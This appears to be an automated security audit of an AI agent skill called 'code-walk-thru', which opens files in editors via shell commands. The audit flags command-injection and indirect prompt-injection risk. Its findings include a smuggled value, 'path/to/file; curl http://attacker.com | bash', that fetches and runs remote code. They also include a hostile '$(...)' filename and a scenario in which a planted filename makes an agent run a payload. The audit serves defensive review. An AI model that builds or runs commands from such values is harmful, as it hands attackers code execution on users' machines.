code-walk-thru

Fail

Audited by Gen Agent Trust Hub on Feb 16, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION] (HIGH): The skill instructs the agent to execute shell commands using templates like code --goto <file_path>:<line_number> and vim +<line> <file>.
  • Evidence: Instructions in SKILL.md explicitly list CLI commands for VSCode, PyCharm, IntelliJ, Zed, and Vim/Neovim.
  • Risk: If the agent interpolates a <file_path> or <line_number> containing shell metacharacters (e.g., path/to/file; curl http://attacker.com | bash), it can result in arbitrary command execution on the host machine.
  • [PROMPT_INJECTION] (HIGH): The skill exhibits a significant Indirect Prompt Injection surface (Category 8) because it uses untrusted data (file paths/names from the environment) to construct executable commands.
  • Ingestion points: The agent determines the <file_path> from the local filesystem or project context.
  • Boundary markers: Absent. There are no instructions to sanitize or validate the file paths before execution.
  • Capability inventory: Shell command execution (subprocess.run or similar) is required to fulfill the skill's purpose.
  • Sanitization: None. The skill does not provide logic for escaping shell-sensitive characters.
  • Risk: An attacker could place a file with a malicious name in a repository (e.g., $(touch_evildone).js). If a user asks the agent to 'walk through' the project, the agent might execute the payload embedded in the filename.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Feb 16, 2026, 12:57 PM